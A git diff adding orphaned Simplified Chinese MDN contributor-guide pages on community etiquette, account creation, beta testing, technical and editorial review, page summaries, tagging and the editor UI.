diff --git a/files/zh-cn/orphaned/mdn/community/whats_happening/index.html b/files/zh-cn/orphaned/mdn/community/whats_happening/index.html new file mode 100644 index 0000000000..abdb8b5215 --- /dev/null +++ b/files/zh-cn/orphaned/mdn/community/whats_happening/index.html @@ -0,0 +1,42 @@ +--- +title: 跟随正在发生的事情 +slug: MDN/Community/Whats_happening +tags: + - MDN Meta + - 初学者 + - 指南 + - 社区 +translation_of: MDN/Community/Whats_happening +--- +
{{MDNSidebar}}
+ +

MDN是由 Mozilla开发者网络社区带给你的。这里是关于我们正在做之事的共享信息的一些途径。

+ +

博客

+ +
+
Mozilla Hacks
+
Web和Mozilla技术和功能的新闻深度报道。
+
Engaging Developers
+
促进社区参与Mozilla MDN活动和讨论。
+
+ +

信息流

+ + + +

状态栏和仪表盘

+ +

查看 文档状态 页面,以了解整个MDN内容的动态。您将能够看到哪些文章需要书写或更新,哪些主题需要最大的帮助以及更多。

+ +

MDN会议

+ +

有一些跟踪和各种MDN相关的项目和进程共享进步定期会议,这些都描述了MDN会议的维基页面。

+ +

想要了解最新动态,MDN社区会议是最佳渠道。MDN社区会议一般在美国太平洋时间周三上午10点举办(UTC-0800 十月——三月, UTC-0700 三月——十月)。会议每两周举办一次,会议采用 #mdn IRC 的方式举行。想要了解会议日程及往期会议记录,请查阅 MDN 社区会议 维基页面。

+ +

公共 MDN活动  日历包括MDN社区会议,文件分享,其他MDN相关活动。如果您在我们的Vidyo视频会议系统中遇到正在“mdn”频道中举办的会议,那么您可以 从从网站上加入会议对话

diff --git a/files/zh-cn/orphaned/mdn/community/working_in_community/index.html b/files/zh-cn/orphaned/mdn/community/working_in_community/index.html new file mode 100644 index 0000000000..e8cce689d8 --- /dev/null +++ b/files/zh-cn/orphaned/mdn/community/working_in_community/index.html @@ -0,0 +1,101 @@ +--- +title: 社区工作 +slug: MDN/Community/在社区工作 +tags: + - 指南 + - 社区 +translation_of: MDN/Community/Working_in_community +--- +
{{MDNSidebar}}
+ +

在任何重大规模上为MDN文档作出贡献的主要部分是知道如何作为MDN社区的一部分工作。本文提供的技巧可帮助您充分利用与其他作者和开发团队的互动。

+ +

一般礼仪准则

+ +

以下是在Mozilla社区工作时的一些通用指导原则。

+ + + +

委婉

+ +

与他人沟通时要时刻保持委婉和恭敬。

+ +

礼貌地指出错误

+ +

如果您在联系某人的目的是要求他们采取不同的做法,或者指出他们所犯的错误(特别是他们反复犯错的话),请以正面评论开始您的信息。这可以减轻打击,这可以说,它表明你试图帮助,而不是让你成为坏人。 例如,如果一个新的贡献者创建了大量没有标签的页面,并且您想要指出这个问题,那么您给他们的消息可能看起来像这样(您需要为每个个案更改的内容加下划线):

+ +
+

嗨,MrBigglesworth,我一直注意到你对Wormhole API文档的贡献,并且能够得到你的帮助真是太棒了!我特别喜欢你通过可读性平衡细节水平的方式。尽管如此,如果您在页面中添加正确的标签,您可以使这些文章更好,更有用。

+ +

详细信息,请参阅MDN标记指南 (https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag) 。

+
+ +

分享知识

+ +

在您参与MDN项目时,了解发生了什么以及与我们社区的其他成员进行互动很有用。通过与我们社区中的其他人交谈,您可以获得并分享想法,状态更新等。我们还拥有工具和信息资源,可以帮助您了解由谁来完成的工作。

+ +

沟通渠道

+ +

您可以通过多种方式与社区成员(开发人员或作者)进行交流,每种方式都有自己特定的礼仪规则。

+ +

Bugzilla

+ +

在编写文档以涵盖由于Bugzilla中的错误而实施的更改时,您经常会与涉及这些错误的人员进行交互。请务必始终牢记Bugzilla礼仪指南!

+ +

电子邮件

+ +

有时候,如果你有他们的电子邮件地址,你和一个或多个其他人之间的私人电子邮件交换就是要走的路。

+ +
+

注意:一般来说,如果有人在您要记录的技术文档上发布了他们的电子邮件地址,已经亲自给您发送了他们的电子邮件地址,或者通常有一个众所周知的电子邮件地址,则电子邮件是可接受的“第一次联系人”做法。如果你需要挖掘它,你可能应该首先尝试获得IRC或邮件列表的许可,除非你已经用尽了所有其他尝试取得联系的努力。

+
+ +

Content status tools

+ +

We have several useful tools that provide information about the status of documentation content.

+ +
+
Revision dashboard
+
The revision dashboard provides a fantastic tool to review changes made to MDN content. You can see recent history, choose a range of time to view, and filter based on things like locale, contributor's name, and topic. Once you're looking at a set of revisions, you can view the changes made in each revision, quickly open the page, see a full history, or even revert the changes (if you have those privileges).
+
Documentation status overview
+
Our documentation status overview page provides a list of all the areas of MDN that have been configured for status tracking, with information about how many pages therein need different types of work done. Click through to a particular topic area to see detailed lists of content that needs work, such as pages that have no tags, or are tagged with indicators that certain types of work need to be done. You can even see lists of pages that haven't been updated in a long time and may be out of date, as well as a list of bugs that have been flagged as impacting the documentation in that area.
+
Documentation project plans
+
We have a number of writing projects that are in the planning stages, or are large and ongoing, for which we have written planning documents to help us keep track of what we need to get done.
+
MDN Taiga
+
The MDN staff writers use a tool called Taiga to manage current and future documentation projects. You can take a look to see what we're doing and how it's going, and you can see what projects we'd like to see happen soon. Some of those will be taken on by staff writers, but you should feel free to take one over if you like! For more information about the agile processes followed by the MDN team, see our Process page on the Mozilla wiki.
+
+ +

The development community

+ +

Possibly the most important relationships to develop and maintain, as a member of the MDN writing community, are those you develop and sustain with the developers. They create the software we're developing, but they're also the most useful source of information we have. It's crucial that we maintain good relations with developers—the more they like you, the more likely they are to answer your questions quickly, accurately, and thoroughly!

+ +

In addition, you represent the MDN writing community. Please help ensure we keep our excellent working relationship with the dev team by making every interaction they have with the writing team be a good one.

+ +

On a related note, a great way to find the right person to talk to is to look at the module owners lists.

+ +

The writing community

+ +

The writing community is a large one. While the number of extremely frequent, or large-scale contributors is relatively small, there are many dozens or hundreds of people who contribute at least now and then. Fortunately, these are by and large awesome people with a genuine love of the Web, Mozilla, and/or documentation, and interacting with them is almost always pretty easy.

+ +

See the article Join the community for more information about the MDN community.

+ +

The most frequent place you'll directly interact with other writers is in the {{IRCLink("mdn")}} channel on IRC. This channel is specifically reserved for discussing documentation. For IRC-specific etiquette tips, see the Mozilla Support article "Getting Started with IRC." You'll also have discussions with us on the MDN discussion forum. In general, IRC tends to be used for quick, more in-person-like discussions, while the discussion forum is typically used for longer-duration conversation.

+ +

By keeping in mind the {{anch("General etiquette guidelines")}}, you'll find that usually things go very smoothly.

+ +

See also

+ + diff --git a/files/zh-cn/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html b/files/zh-cn/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html new file mode 100644 index 0000000000..08693b3ff1 --- /dev/null +++ b/files/zh-cn/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html @@ -0,0 +1,53 @@ +--- +title: 如何成为一名测试版试验员 +slug: MDN/Contribute/Howto/成为一名测试版试验员 +tags: + - MDN Meta +translation_of: MDN/Contribute/Howto/Be_a_beta_tester +--- +
{{MDNSidebar}}
+ +

随着MDN Kuma平台的开发人员不断地对站点进行更改,我们为那些选择成为测试版测试人员提供对这些新特性的早期访问。与任何“beta”测试一样,在某些情况下,一些功能可能无法正常工作。

+ +

参与beta测试

+ +
    +
  1. 登录MDN,在顶部导航栏点击你的用户名。
    + Shows location of the user's profile link in the top navigation
    + 随后跳转到你的资料页。
  2. +
  3. 点击编辑按钮。
    + Shows location of the button to edit a user's profile (which may vary depending on window dimensions
    + 随后在编辑模式下打开资料页。
  4. +
  5. 勾选复选框成为 Beta 测试者
    + Shows the location of the Beta Tester checkbox
  6. +
  7. 点击资料页底部的发布按钮
    + Shows the location of the Publish button on a user's profile page
  8. +
+ +

退出Beta测试

+ +
    +
  1. 登录MDN,在顶部导航栏点击你的用户名。随后会跳转到你的资料页。
  2. +
  3. 点击编辑按钮。随后在编辑模式下打开资料页。
  4. +
  5. 取消 Beta 测试者的复选框
  6. +
  7. 点击发布按钮.
  8. +
+ +

对beta测试给予反馈

+ +

你有两种方式可以对 beta 测试进行反馈:

+ + + +
    +
  1. 如果你还没有账号,创建一个 Bugzilla 账号.
  2. +
  3. 打开 bug report in Bugzilla for MDN.
  4. +
  5. 在“摘要”字段中包含 “beta” 一词,帮助 MDN开发人员过滤和区分传入的 bug。.
  6. +
  7. 尽你所能填写 bug 报告. 越详细越好.
  8. +
  9. 点击提交按钮.
  10. +
+ +

 

diff --git a/files/zh-cn/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html b/files/zh-cn/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html new file mode 100644 index 0000000000..256d61b897 --- /dev/null +++ b/files/zh-cn/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html @@ -0,0 +1,44 @@ +--- +title: 如何创建 MDN 账号 +slug: MDN/Contribute/Howto/Create_an_MDN_account +tags: + - MDN + - 创建账户 + - 初学者指南 + - 新手上路 +translation_of: MDN/Contribute/Howto/Create_an_MDN_account +--- +
{{MDNSidebar}}
+ +

 要对MDN的内容进行任何更改,你需要一个MDN账户。别担心,如果你只是打算阅读或搜索MDN,就不需要一个账户!这个指南  将帮助你建立MDN账户。

+ +
+
+

为什么MDN需要我的电子邮件地址?

+ +

你的电子邮件地址用于帐户恢复;必要时,MDN管理员会通过它来联系您,讨论你的账户或在网站上的活动。

+ +

此外,你可以选择订阅通知(例如,当特定的页面被更改)和消息(例如,如果你选择加入我们的beta测试团队,你可能会收到关于待测试新功能的邮件)。

+ +

你的电子邮件地址永远不会显示在MDN,并只会按照我们的隐私政策使用。

+ +
如果你通过Github登录到MDN,并且你的Github账号使用了“noreply”的电子邮件地址,你将不会收到任何来自MDN的信息(包括你从页面订阅的通知)。
+
+
+ +
    +
  1. 在每个MDN页面的顶部都有一个登录按钮。将鼠标指向它(如果你在移动设备上使用,轻触即可),以显示支持的登录到MDN的认证服务列表。
  2. +
  3. 选择一项服务以登录。目前,我们只支持使用Github登录。值得注意的是如果你选择GitHub,你的MDN公开资料页上将显示一个链接,其指向你的GitHub个人资料页。
  4. +
  5. 按照Github的提示,将你的GitHub帐户绑定到MDN。
  6. +
  7. 从认证服务页面返回到MDN之后,MDN会提示你输入用户名和电子邮件地址。你的用户名会公开显示,以便展示你做过的工作。请不要将你的电子邮件地址作为用户名
  8. +
  9. 点击创建我的MDN个人资料
  10. +
  11. 如果你在步骤4中指定的电子邮件地址与认证服务所使用的不同,请检查这个邮箱,并点击我们发送的确认邮件中的链接。
  12. +
+ +

一切就绪!你已经拥有一个MDN帐户,并可以立即编辑页面!

+ +

你可以在任何MDN页面的顶部点击你的名字以查看账号的公开资料。从那里,你可以点击编辑按钮修改或更新你的个人资料。

+ +
+

注:新用户名不能包含空格或“@”字符。请记住,你的用户名将会公开显示,以标识你做过的工作!

+
diff --git a/files/zh-cn/orphaned/mdn/contribute/howto/do_a_technical_review/index.html b/files/zh-cn/orphaned/mdn/contribute/howto/do_a_technical_review/index.html new file mode 100644 index 0000000000..83945186c5 --- /dev/null +++ b/files/zh-cn/orphaned/mdn/contribute/howto/do_a_technical_review/index.html @@ -0,0 +1,57 @@ +--- +title: 如何进行技术审查 +slug: MDN/Contribute/Howto/Do_a_technical_review +tags: + - MDN Meta + - 复核 + - 如何做 + - 指南 + - 文档 +translation_of: MDN/Contribute/Howto/Do_a_technical_review +--- +
{{MDNSidebar}}
+ +

技术复核包括审查一篇文章的技术准确性和完整性,并在必要的时候予以纠正。 如果一篇文章的作者需要其他人来对文章进行技术复核的话,就需要在编辑时勾选”技术复核“选项。通常情况下,作者会联系特定的工程师来执行技术审查,但是任何具有此领域专业技能的人都可以完成技术复核。

+ +

本文介绍如何进行技术复核,从而帮助确保MDN的内容的正确性。

+ +

任务是什么?

+ +

  审查和纠正文章的技术准确性和完整性。

+ +

什么地方需要技术审核?

+ +

  在被标记为需要技术审核的特定文章中。

+ +

开始做任务前你需要了解什么?

+ + + +

完成任务的步骤是什么?

+ +
    +
  1. 选取一篇需要复查的文章: +
      +
    1. 前往 technical reviews 页面。这里列出了所有需要技术复核的文章。
    2. +
    3. 选择一个你非常熟悉的领域的页面。
    4. +
    5. 点击该页面。
    6. +
    +
  2. +
  3. 在阅读这篇文章的时候注意文章里的所有技术细节:这篇文章的内容正确吗?是否缺少了一些细节?如果你觉得这篇文章不适合你,那么请毫不犹豫地换一篇文章。
  4. +
  5. 如果没有错误,你不需要重新编辑来把这篇文章标识为”已复核“,你只需要找到左边导航栏最下方的”快速复核“框。黄色背景的框里列出了所有等待复核的请求,像这样:
  6. +
  7. 去掉需要技术复核前面的勾,然后点保存。
  8. +
  9. 如果你发现了需要被修正的错误,你可以在编辑器里修改这篇文章的审核请求状态。以下是操作步骤: +
      +
    1. 点击页面顶部的编辑按钮,进入 MDN editor 页面,来编辑该页面。
    2. +
    3. 更正不正确的技术信息,还可以添加文章遗漏的任何重要信息。
    4. +
    5. 在文章的底部输入修改注释。这个注释简要地描述你的修改工作,比如“完成技术审查。”如果你更正了某些信息,将它们写进你的注释,比如“技术审查以及修复参数的相关描述。”这将帮助其他贡献者和网站编辑人员知道你修改的部分以及原因。如果你认为文章中有些不必要被审查的部分,也可以在注释中提出来。
    6. +
    7. 取消勾选“需要审查”下面的“技术”选项框了吗?它就在页面的审查注释区域。
    8. +
    9. 点击发布按钮。
    10. +
    +
  10. +
+ +

祝贺你,你已经完成了你的第一篇技术复核,感谢您的帮助!

diff --git a/files/zh-cn/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html b/files/zh-cn/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html new file mode 100644 index 0000000000..48396dcd33 --- /dev/null +++ b/files/zh-cn/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html @@ -0,0 +1,55 @@ +--- +title: 如何进行编辑审核 +slug: MDN/Contribute/Howto/Do_an_editorial_review +tags: + - 指导 + - 文档 + - 编辑审核 +translation_of: MDN/Contribute/Howto/Do_an_editorial_review +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/zh-CN/docs/MDN")}}
+ +

编辑审核的工作由修改文中排版错误,拼写、语法、用法等文本错误构成。并不是所有贡献者都是语言专家,但有了他们的共同努力,他们把那些需要编辑以及校对的文章转化为了极其有用的文章;这些都是在编辑审核的工作中完成的。

+ +

这篇文章描述了如何进行编辑审核,从而帮助实现 MDN 的内容精确。

+ +
+
任务是什么?
+
编辑并审核那些被标记为需要编辑审核的文章。
+
应该在何处处理它?
+
在特定的文章中会有标记有需要编辑审核的地方。
+
开始做任务前你需要了解什么?
+
你需要有好的中文语法和词汇技能。文章复核是要确保语法、用词都是正确的并且有意义,同时遵循 MDN 样式指南
+
完成任务的步骤是什么?
+
+
    +
  1. 选择一篇文章来审核: +
      +
    1. 访问需要复核的文章列表。它陈列了所有请求编辑审核的页面。
    2. +
    3. 点击文章链接进入页面。
      + 注意:这个列表是自动生成的,但更新并不频繁,所以列表中的一些文章是不再需要编辑审核的。如果你选择的文章没有显示“这篇文章需要复核”,跳过这一篇文章,再选择其他的文章。
    4. +
    +
  2. +
  3. 仔细阅读文章,特别注意其中可能出现的排版、错字、语法或者词语使用错误。如果你觉得这篇文章不适合你,随时可以换一篇其它文章。
  4. +
  5. 如果文章中没有任何错误,你不需要进入编辑页面再把它标记为“已审核”。在页面的左侧边栏处可以找到“快速复核”对话框:
    + 文法复核边栏屏幕截图
  6. +
  7. 取消 文法 的勾选之后点击 保存
  8. +
  9. 如果你发现了需要改正的错误: +
      +
    1. 点击右上角蓝色的 编辑 按钮;它将带你进入 MDN 编辑器
    2. +
    3. 更正所有你看到的的排版、错字、语法或者词语使用错误。你并不需要将所有问题都一次性改好,不过当完成整篇文章的时候你还觉得不确定是否完美,一定要保留文法复核的请求。
    4. +
    5. 在文本底部输入一段修订注释;比如 “文法符合:更改了排版,语法和用词错误。” 这有助于其他编辑者和网站管理员知道你更改了什么以及为什么做出更改。
    6. +
    7. 需要复核吗? 下面取消 文法 的选择。这一项位于页面的 版本备注 当中。
      + 文法复核编辑模式屏幕截图
    8. +
    9. 点击 发布 按钮。
    10. +
    +
  10. +
+ +
+

你所做出的更改在保存后不一定立即可见,页面保存和处理过程可能出现一些延迟。

+
+
+
diff --git a/files/zh-cn/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/zh-cn/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html new file mode 100644 index 0000000000..bf90ff0262 --- /dev/null +++ b/files/zh-cn/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html @@ -0,0 +1,59 @@ +--- +title: 如何为页面编写概要 +slug: MDN/Contribute/Howto/Set_the_summary_for_a_page +tags: + - 指南 +translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page +--- +
{{MDNSidebar}}
+ +

您可以在MDN的每一个页面上定义概要,它可以在很多方面起到作用,如包含在搜索引擎的搜索结果中,或者在其他MDN页面如热门话题页或者工具提示页。它应该概括的描述该页面的所有内容,并且当在其他页面显示时,不包含页面内容的无关部分。

+ +
+

一个概要可以被明确的定在在一个页面中。如果概要没有被明确的定义,通常会使用该页面内容的第一句话作为概要,而它往往不是该页面最精确的描述。

+
+ + + + + + + + + + + + + + + + + + + + +
任务是什么?标记应被用作其在其他情况下摘要页面中的文本;这项任务可能包括在需要写相应的文本。
哪些地方需要它?在缺乏一个总结或总结不太好的页面。
完成任务需要什么?能够使用MDN编辑器的能力;良好的英语写作能力;对网页的主题足够熟悉,以便于能写一个很好的总结。
怎样完成任务? +
    +
  1. 选择一个页面来设置总结: +
      +
    1. MDN documentation status 页面上的section中, 点击你所了解的话题。
    2. +
    3. 在主题的文档状态页面,单击汇总表中的页头。这需要你在该主题区段的所有网页的索引;它示出了在左侧列中的页面的链接,以及在右栏中的标签和摘要。
    4. +
    5. 挑选缺少一个总结页面,或者说有一个较差的总结的页面。
    6. +
    +
  2. +
+ +
+

点击链接进入该页面。

+
+ +
    +
  1. 单击编辑在MDN编辑器中打开该页面。
  2. +
  3. 找一两句话,作为一个总结。如果需要,可以编辑现有的内容来创建或修改的句子来做一个很好的总结。
  4. +
  5. 选择要使用的摘要文本。
  6. +
  7. 在样式插件的编辑器工具栏,选择搜索引擎优化摘要。 (In the page source, this creates a {{HTMLElement("span")}} element with class="seoSummary" around the selected text.)
  8. +
  9. 保存你的更改,并附上类似“设置页面总结”的修改意见。修改意见是可选的,但我们鼓励你添加一个。这样便于其他人了解变更的情况。
  10. +
+
+ +

完成这样的一份任务后,你就是MDN的一员。

diff --git a/files/zh-cn/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html b/files/zh-cn/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html new file mode 100644 index 0000000000..4420d3f04e --- /dev/null +++ b/files/zh-cn/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html @@ -0,0 +1,69 @@ +--- +title: 如何给JavaScript相关页面添加标签 +slug: MDN/Contribute/Howto/Tag_JavaScript_pages +translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages +--- +
{{MDNSidebar}}

标记工作包括给页面添加元信息,使得这些页面的相关内容能被搜索工具等正确的分拣。

+ +
+
哪里需要做这件事?
+
那些特定的没有标签的JavaScript相关的页面
+
开始标记任务前你需要知道些什么?
+
一些基本的JavaScript编程知识,比如javascript中的方法和属性都是些什么。
+
你的工作有以下几个步骤
+
+
    +
  1. 选择下面列举的某篇文章。
  2. +
  3. 点击该文章所对应的链接,载入页面。
  4. +
  5. 当页面载入完毕时,点击顶部附近的EDIT按钮,就会进入MDN编辑模式。
  6. +
  7. 最后就是添加Javascript相关的标签了,我们提供了如下可选的标签。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    标签名适用于含有哪些内容的页面
    Method方法
    Property属性
    Prototype原型
    Object type name所述对象的名字,例如String.fromCharCode就应该有String标签
    ECMAScript6 and Experimental在新版ECMAScript标准中增加的特性
    Deprecated不赞成使用的特性(那些不鼓励使用但仍然被浏览器支持的特性)
    Obsolete被废弃的特性(那些不再被浏览器支持的特性)
    others查看 MDN 标签规则 中其他可选标签
    +
  8. +
  9. 添加备注信息并保存你的修改。
  10. +
  11. 你做到了!
  12. +
+
+
+ +

 

diff --git a/files/zh-cn/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html b/files/zh-cn/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html new file mode 100644 index 0000000000..15c6f0b2ee --- /dev/null +++ b/files/zh-cn/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html @@ -0,0 +1,117 @@ +--- +title: 如何写文章帮助人们了解 Web +slug: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web +tags: + - MDN元数据 + - 学习社区 + - 指导 + - 贡献指南 +translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web +--- +
{{MDNSidebar}}
+ +

MDN 的学习区是我们给新手开发者介绍 Web 概念的大本营。因为它的内容主要面对初学者,这是你分享知识,帮助新手逐渐了解 Web 的绝佳地点。确保新手开发者能够跟上这里的内容是很重要的,所以我们格外重视学习区。

+ +

这篇文章解释了如何给学习区写文章。

+ +

如何写学习社区的文章

+ +

要开始贡献你的知识,只需点击绿色大按钮,然后按照下面的五个步骤。如果你想找点子,请看一下我们的团队 Trello

+ + + +

这篇文章可能不会在正确的地方出现,但至少是在MDN上。如果你需要找人谈谈把它搬到正确的地方,请联系我们

+ +

第一步:写两行

+ +

你文章的第一句话需要总结一下你将要涉及的主题,第二句话应该更详细地介绍你要放在文章中的内容(项目)。例如:

+ +
+

 {{glossary("HTML")}} 文件包含的结构和内容, {{Glossary("CSS")}}以及其他主要的Web技术,使内容看起来像你想要的那样。在本文中,我们将介绍这项技术是如何工作的,以及如何编写你自己的基本示例。

+
+ +

注意示例如何简要说明CSS是用于样式化页面的核心Web技术。 这足以使读者很好地了解本文所涵盖的内容。

+ +

因为学习区域的文章主要是针对初学者的,所以每篇文章都应该涵盖一个简单的主题,以免给读者带来太多的新信息。如果你不能在一句话中总结这篇文章,那么你可能在一篇文章中做得太多了!

+ +

第二步:添加一个顶部框

+ +

然后添加一个顶框,以帮助读者了解他们在学习过程中的位置。 这是“了解URL及其结构 ”顶部框的示例。 您可以在编写自己的文章时将其用作模型。

+ + + + + + + + + + + + +
必要条件:您首先必须清楚Internet的工作方式,Web服务器是什么,与Web链接背后的所有概念。
目标:您将了解什么是URL以及它如何在Web上工作
+ +
+
必要条件
+
读者首先必须知道什么东西才能读懂你的一篇文章?在有可能的状况下,让每一个前提条件链接到另一篇涵盖概念的学习领域的一篇文章(除了您写的是是一篇完全不需要首先先验知识的无比基础的文章)。
+
目标
+
这一章节粗略说明了您的读者在阅读学习这篇文章的过程中会学到(并学会)什么。这与一行程序有点不同;一行代码总结了文章的主题,而目标部分专门列出了读者在阅读文章过程中所希望完成的全部内容。
+
+ +
+

注意:要创建此表,您可以复制并粘贴上面的示例表,或者使用MDN的编辑器 台式工具。如果选择使用table工具,则需要在默认的standard-table类之外特别添加learn-box CSS类。为此,当您创建或编辑表的属性时,请转到“Advanced”面板并将样式表类字段设置为“standard-table learn-box”。

+
+ +

第三步:写一个完整的描述

+ +

接下来,写一个更长的描述,提供更全面的文章概述,突出最重要的概念。不要忘记解释为什么读者要花时间来学习这个主题并阅读你的文章!

+ +

第四步:更深一步

+ +
当你完成了所有这些,你终于可以深入到主题。你可以根据自己的喜好来组织文章的这一部分(尽管您能够随时咨询我们的 设计指南)。这是你闪耀的机会!详细解释你要写的主题。提供指向完整参考文档的链接,详细解释该技术的工作原理,提供语法和用法细节,等等。由你决定 + +
+
+ + + +

看一看我们的函数的前几节可重用代码块文章 ,有一些很好的描述部分。

+ +

第五步:提供“主动学习”材料

+ +

为了阐明本文并帮助读者更好地理解他们正在学习的内容,请确保提供练习、教程和需要完成的任务。通过让他们积极地、实际地使用和试验你文章中解释的概念,你可以帮助他们将信息“锁定”在大脑中。

+ +

您可以选择在页面中直接包含这些示例作为 实时实例,或者直接链接到它们。 (如果它们不能作为实时实例。) 如果你有兴趣帮助创造这些有价值的东西 ,请参阅《创建一个交互式的练习来帮助学习网络》

+ +

如果您不能提供到现有活动学习材料的链接(您不知道或者没有时间创建它们),那么您应该在文章中添加标记{{tag ("NeedsActiveLearning")}}。这样,其他贡献者就可以找到需要积极学习材料的文章,并可能帮助你找到它们。

+ +

看看《主动学习:选择不同的元素》进行现场互动学习练习或者《主动学习: 玩转范围》或者另一种不同风格的练习,要求它们在本地下载模板并按照提供的步骤更改

+ +

+ +

                                                                                         

+ +

第六步:查看文章,并放入学习区域导航菜单

+ +

在你写完你的文章后,让我们知道,这样我们可以看一看,做一个回顾,并提出改进建议 。再次看看我们的 联系方式 板块以寻找最好的联系方式。

+ +

完成文章的另一部分是把它放在学习区主导航菜单中。这个菜单是 LearnSidebar 宏生成的。 你需要特殊的权限来编辑,所以,再一次,让我们团队中的一个人把它添加进去。

+ +

您至少应该将其添加到您的页面中,这是通过在页面顶部的段落中添加宏调用\{{LearnSidebar}}来完成的。

+ + + +

推荐文章

+ +

您想做出贡献,但是您不知道该写什么?

+ +

学习社区维护了一个要写文章的Trello看板。随意挑选一个,然后开始去写吧!

diff --git a/files/zh-cn/orphaned/mdn/editor/basics/index.html b/files/zh-cn/orphaned/mdn/editor/basics/index.html new file mode 100644 index 0000000000..d6435b8282 --- /dev/null +++ b/files/zh-cn/orphaned/mdn/editor/basics/index.html @@ -0,0 +1,61 @@ +--- +title: 编辑器 UI 元素 +slug: MDN/Editor/Basics +tags: + - 指南 + - 新手 + - 编辑器 +translation_of: MDN/Editor/Basics +--- +

MDN内置 WYSIWYG(所见即所得)编辑器,目的就是让编辑工作变得更加轻松。你可以轻松地在网站各处创建、编辑、修改文章或其他页面。 编辑器界面如下所示,包含八个关键区域。本指南将提供每个区域的介绍,以便您了解如何使用整个编辑环境。

+ +
+

我们不断努力改进MDN,所以有时候本指南或下面的屏幕截图可能会稍微过时。不过,我们会定期更新此文档,以避免其无法使用。

+
+ +

Screenshot of the editor UI (August 2017) with each section labeled

+ +

上图所示的编辑器各个UI区域已罗列在下表中,点击下面的链接来了解每个部分。

+ + + +

修订注释

+ +

我们强烈建议你每次编辑完成后要附上对修改的注释(修订注释)。这些注释将被保存到页面的修订历史中,就像这个修订看板。这将有助于向复核你修改的人提供解释说明。想要添加修订意见也很简单,只要在发布之前,在修订意见框中填入注释即可。

+ +

这么做的好处:

+ + + +

复核请求

+ +

MDN社区使用复核来追踪和提高MDN内容的质量。通过在文章页面上设置特定标志来表示这篇文章需要审查复核。你可以在 MDN 使用指南中了解更多关于技术复核文法复核的知识。

+ +

想要申请对你所做的文章进行复核,只需勾选对应复核类型前面的复选框即可。任何对技术方面的修改,都应申请技术复核,当然,如果你申请文法复核,想找个人来检查你的写作和样式,那也是极好的。

+ +

当申请复核后,文章将会被添加到需要技术复核需要文法复核列表,但这并不能保证会立马有人来复核你的文章。对于技术复核,最好直接联系相关技术领域的学科专家。对于编辑评论,您可以在 MDN 论坛中发帖以请求其他人来复核你的更改。

+ +

 

+ +

在勾选申请复核之后,请务必点击一下发布按钮,这样才能提交复核请求。

+ +

参阅

+ + + + diff --git a/files/zh-cn/orphaned/mdn/editor/basics/page_controls/index.html b/files/zh-cn/orphaned/mdn/editor/basics/page_controls/index.html new file mode 100644 index 0000000000..48175fd7c8 --- /dev/null +++ b/files/zh-cn/orphaned/mdn/editor/basics/page_controls/index.html @@ -0,0 +1,37 @@ +--- +title: MDN 编辑器页面控件 +slug: MDN/Editor/Basics/Page_controls +tags: + - 指南 + - 编辑器 +translation_of: MDN/Editor/Basics/Page_controls +--- +
{{MDNSidebar}}
+ +

页面控件由对整个页面起作用的按钮组成,为了减少多余的滚动,页面控件在编辑器的顶部和底部都可见。一共有四个页面控制按钮:

+ +
+

如果你编写的页面符合 MDN 的要求,而编辑器却不能保存成功,你可以电子邮件联系开发团队寻求帮助。

+
+ +
+
发布并继续编辑
+
点击这个按钮,会在不关闭编辑器的前提下保存并发布页面。这样你就可以定期保存编辑工作,在页面修订历史中创建存档,这些存档说不定以后会用到。在创建新页面时这个按钮是不可用。查看修订注释框以了解如何在保存文章时添加修订注释。
+
发布
+
点击该按钮,将保存并发布你的文章,同时关闭编辑器,浏览器跳转到标准模式下的页面。查看修订注释框以了解如何在保存文章时添加修订注释。
+
预览
+
点击这个按钮将打开新的页面或窗口,以发布的样式展示编辑器中的内容,其中的宏指令模板都如实展示。值得注意的是,此时你的文章并没有被保存。这个按钮的作用,就是在文章发布前检查实际页面效果的,如果出现脚本错误,请参阅预览页面时排除脚本错误
+
+
+

警告: Currently some macros and templates don't execute properly in Preview-mode, leaving the Preview page missing some of its content (such as sidebars), and thus with somewhat distorted page layout; i.e. not totally WYSIWYG. Further, if SCAYT is enabled (and possibly if the page contains certain valid macros or templates), Preview mode may still give a scripting error.

+
+
+

+ 放弃
+
这个按钮的功能就是取消编辑,放弃所有未曾保存的更改。页面将会跳转回上个页面。
+
+
+

警告: Occasionally Discard can malfunction and start acting more like a partial "discard," undoing many of your changes without exiting the editor. If this happens to you, you should save, exit, and re-enter the editor.

+
+
+
diff --git a/files/zh-cn/orphaned/mdn/editor/basics/page_info/index.html b/files/zh-cn/orphaned/mdn/editor/basics/page_info/index.html new file mode 100644 index 0000000000..54be30c0cf --- /dev/null +++ b/files/zh-cn/orphaned/mdn/editor/basics/page_info/index.html @@ -0,0 +1,47 @@ +--- +title: 编辑器 UI 的页面信息区域 +slug: MDN/Editor/Basics/Page_info +tags: + - 指南 + - 新手 + - 编辑器 +translation_of: MDN/Editor/Basics/Page_info +--- +
{{MDNSidebar}}
+ +

页面信息区域包含了本页面的信息,但也可以扩展开来以提供额外的页面控件。

+ +

现有页面

+ +

默认情况下,编辑现有页面时,页面信息区域会显示页面标题。

+ +

你可以点击编辑标题和属性按钮来打开更多页面控件。如下图:

+ +

